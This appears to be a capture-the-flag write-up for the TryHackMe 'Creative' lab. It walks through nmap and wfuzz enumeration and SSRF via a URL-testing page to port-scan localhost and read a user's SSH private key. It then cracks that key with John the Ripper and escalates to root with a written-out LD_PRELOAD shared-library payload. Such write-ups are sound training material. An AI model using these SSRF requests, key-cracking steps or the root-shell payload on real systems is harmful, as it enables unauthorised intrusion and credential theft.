Sitemap

Creative — TryHackMe

6 min readApr 18, 2024

--

Exploit a vulnerable web application and some misconfigurations to gain root privileges.

Link : https://tryhackme.com/r/room/creative

Press enter or click to view image in full size

Preparation

Add your IP into /etc/hosts with name creative.thm

sudo nano /etc/hosts

Enumeration with nmap

┌──(adam㉿kalian)-[~]
└─$ nmap -Pn -sV -p- 10.10.247.143 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 09:02 CEST
Stats: 0:01:05 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Nmap scan report for 10.10.247.143
Host is up (0.092s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
┌──(adam㉿kalian)-[~]
└─$ nmap -Pn -sV -sC -p22,80 10.10.247.143 --script=vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-18 09:14 CEST
Nmap scan report for creative.thm (10.10.247.143)
Host is up (0.081s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:8.2p1:
| CVE-2012-1577 7.5 https://vulners.com/cve/CVE-2012-1577
| PRION:CVE-2020-15778 6.8 https://vulners.com/prion/PRION:CVE-2020-15778
| CVE-2020-15778 6.8 https://vulners.com/cve/CVE-2020-15778
| C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 6.8 https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 *EXPLOIT*
| 10213DBE-F683-58BB-B6D3-353173626207 6.8 https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT*
| PRION:CVE-2020-12062 5.0 https://vulners.com/prion/PRION:CVE-2020-12062
| CVE-2020-12062 5.0 https://vulners.com/cve/CVE-2020-12062
| CVE-2010-4816 5.0 https://vulners.com/cve/CVE-2010-4816
| PRION:CVE-2021-28041 4.6 https://vulners.com/prion/PRION:CVE-2021-28041
| CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041
| PRION:CVE-2021-41617 4.4 https://vulners.com/prion/PRION:CVE-2021-41617
| CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617
| PRION:CVE-2020-14145 4.3 https://vulners.com/prion/PRION:CVE-2020-14145
| PRION:CVE-2016-20012 4.3 https://vulners.com/prion/PRION:CVE-2016-20012
| CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145
| CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012
| CVE-2023-51767 3.5 https://vulners.com/cve/CVE-2023-51767
| PRION:CVE-2021-36368 2.6 https://vulners.com/prion/PRION:CVE-2021-36368
|_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-fileupload-exploiter:
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
| Couldn't find a file-type field.
|
|_ Couldn't find a file-type field.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: BID:49303 CVE:CVE-2011-3192
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://www.tenable.com/plugins/nessus/55976
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| https://seclists.org/fulldisclosure/2011/Aug/175
|_ https://www.securityfocus.com/bid/49303
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 276.25 seconds

Nothing interesting. Enumerate the subdomains.

┌──(adam㉿kalian)-[~]
└─$ wfuzz -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u 'http://creative.thm' -H "Host: FUZZ.creative.thm" --hw 12
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://creative.thm/
Total requests: 4989

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000033: 200 19 L 66 W 591 Ch "beta"

Total time: 49.39418
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 101.0037

There is a web site called “beta”. Add this value to /etc/hosts

10.10.247.143   creative.thm beta.creative.thm

Have a look at this page

Press enter or click to view image in full size

It’s time to check out some websites. Start at http://creative.thm

Press enter or click to view image in full size

Than https://google.com

The machine doesn’t have access to the world. In this situation we need to focus on the local machine. We can check the localhost address and open ports.

Burp…burp…burp or OWASP Zap ?!

Press enter or click to view image in full size

The valid address : http://127.0/ gives us the main page of creative.thm. We can check the ports.

Get anHackX’s stories in your inbox

Join Medium for free to get updates from this writer.

There are a few ways to do this. You can use OWASP Zap, BurpSuite or wfuzz. I will present the OWASP Zap enumeration (and wfuzz too ;-) ). If you are not familiar with the OWASP Zap go to wfuzz.

  1. Run the OWASP Zap and intercept the request to localhost
  2. Fuzz the Request with url parametr:
  • mark the place with http:// [ADD]
  • use the Numberzz and set the valid ports range [0–65355]
Press enter or click to view image in full size
  • set the Processors with Prefix Strings and value : http://127.1:
  • Run the fuzzer … and wait.
  • After a few moments, sort the results by Size Response Body (1)
Press enter or click to view image in full size

wfuzz

You can also use the wfuzz as shown below. Remember to generate the ports file with seq first.

seq 0 65355 > ports
wfuzz -c -w ports -u 'http://beta.creative.thm' -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://127.1:FUZZ" --hl 0
Press enter or click to view image in full size

Back to our machine. We found http.server on port 1337. Time for enumeration.

url=http://127.1:1337/home
Press enter or click to view image in full size

and deeper

url=http://127.1:1337/home/saad/user.txt
Press enter or click to view image in full size

Other interesting files

url=http://127.1:1337/home/saad
Press enter or click to view image in full size
Press enter or click to view image in full size

Create a file to ssh connection

  • Copy the contents of id_rsa
  • Create a file id_rsa on your machine
  • Paste the vaules to file
  • Set the chmod to 600.
nano id_rsa
[paste the contents]
chmod 600 id_rsa

Try to connect the machine.

ssh -i id_rsa saad@creative.thm

Password needed. Use JohnTheRipper to get the password from id_rsa.

ssh2john id_rsa > id_rsa_hash                              

john id_rsa_hash -wordlist=/usr/share/wordlists/rockyou.txt
Press enter or click to view image in full size

SSH again

Press enter or click to view image in full size

Enumeration, again

ls -laht

Check the .bash_history

Press enter or click to view image in full size

We have username and password. Now it’s tiem for sudo

sudo -l
Press enter or click to view image in full size

Google for “LD_PRELOAD privilege escalation”.

You can use this site: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld_preload-and-ld_library_path

Prepare the payload

  1. Create a file payload.c with this contents
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
Press enter or click to view image in full size

2. Run gcc

gcc -fPIC -shared -o payload.so payload.c -nostartfiles

3. Run the payload

sudo LD_PRELOAD=./payload.so ping

Enjoy the root !!

Find the root flag.

Thank you for your attention. You have done it. Congratulations.

--

--